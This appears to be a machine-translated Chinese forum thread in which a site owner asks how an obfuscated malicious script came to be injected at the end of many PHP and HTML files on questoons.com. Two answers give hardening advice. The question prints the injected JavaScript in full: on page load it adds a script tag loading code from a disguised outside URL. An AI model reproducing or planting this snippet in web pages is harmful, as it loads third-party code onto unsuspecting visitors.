我们最近注意到,一个恶意脚本正在我们的域名 questoons.com 和此帐户托管的各种附加域中的多个 PHP 和 HTML 文件中插入自身。该脚本将自身插入文件末尾,代码如下:
<script>/*CODE1*/ try{window.onload = function(){var Q236s4ic4454clw = document.createElement('script');Q236s4ic4454clw.setAttribute('type', 'text/javascript');Q236s4ic4454clw.setAttribute('id', 'myscript1');Q236s4ic4454clw.setAttribute('src', 'h(t)!^t^))p#@:&&/(##/&$#c^$$l^@)(i&(c$^)k))#$s^o$#r!^)^-$$$&c@$o#^m$!#.#&(e((a!!s)(@t)&m((o@^^n!$!e&^&(y$#).#&c$@o$@!$^m(##(.@m@o@(b(^i&#l#!@e@)@&(-(d)&(e^&@(.))@&h)@@@o^^@m!e#&&)s)a#$$l$$#e^@!p^@l&@u#((^s^#@(.$)r$$u(:!$8!$0&$&8)@$0$!)/!o#&@c##@@n(@^!.))n@e@.)&j!@^#$p#/)^@o^c^n)((.()n^)e^$.@!)$j!!^(p#!/@&)c^(l&(a&s(^s@!m^@a($^t#e!#^@)s$.^c^&#o((&m&/)(&@l&()i(@n)(k$@h&e)@$(l)$p^!e)$!$r$#.)&c!&n($@/$g#o^@&o!$$g$^l^&#@e$.&&!c#o@$$m(/$$'.replace(/\(|\!|&|#|\$|\)|@|\^/ig, ''));Q236s4ic4454clw.setAttribute('defer', 'defer');document.body.appendChild(Q236s4ic4454clw);}} catch(e) {}</script>
请指导这种情况是如何发生的,以及我们如何阻止其蔓延并防止进一步感染。
感谢和问候,
维纳亚克
答案1
脚本代码本身并没有说明它是如何到达那里的 - 更可能是在您的服务器上运行的软件或您的服务器的网络设置让您到达那里(例如,您使用的内容管理系统、论坛软件等、文件服务器功能或其他)
如果不分析您的日志文件(可能已被更改)和您正在运行的软件(及其版本),就无法确定原因。以下是您未来需要遵循的预防措施:
其中包括:
- 如果你正在使用库存组件(开源或闭源),请确保你始终拥有最新版本
- 订阅软件供应商的邮件列表,他们会发送有关更新和安全相关问题的通知(也适用于开源项目)
- 当有安全更新时:尽快更新。
- 确保 Web 服务器使用的用户帐户对 Web 服务器提供的任何目录没有写权限
- 使用经过充分测试、以稳健著称的软件,而不是使用一些随机的示例代码来破解你自己的解决方案
- 了解您使用的环境中的典型安全问题以及如何加强服务器以抵御攻击(例如,php 可能允许包含在服务器上执行的远程代码)
- 在防火墙后面运行您的网络服务器,禁止网络服务器访问网络。
- 限制真正需要其他服务(例如 ssh、nfs、samba 等)的用户访问
还有更多——这些是我首先想到的。在这里的答案中,你真的只能得到关于该做什么的初步想法。强化系统的标准程序在各地都有很好的记录。做好准备:这是一项艰苦的工作。
答案2
有许多途径可以导致文件被篡改,首先,您需要确保提供文件访问权限的软件是最新的(ftp/http/etc),密码具有良好的复杂性,文件具有正确的文件系统权限和所有权,您必须确保服务器上执行的代码(例如 php)确实正确清理了输入,监控文件校验和也是一个不错的选择。既然您已经受到攻击,您肯定会更有信心重建服务器、更改所有密码并审计其上运行的代码。